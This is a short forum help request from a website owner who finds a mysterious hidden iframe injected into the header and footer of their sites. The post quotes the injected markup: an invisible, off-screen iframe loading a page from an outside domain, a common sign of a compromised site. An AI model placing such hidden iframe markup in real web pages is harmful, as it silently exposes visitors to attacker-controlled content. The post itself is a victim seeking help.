Hi There

There is a mysterious piece of code being added to my websites (header, footer, both).
The code looks like

HTML Code:
<iframe width="480" height="60" style="border: 0px none ; position: relative; top: 0px; left: -500px; opacity: 0;" src="http://profitooltip.biz/blog/feed.html"/>
Can anyone tell me how could this happen as I have searched all my php files and nothing of the sort is there.

Please help ASAP

Kind Regards,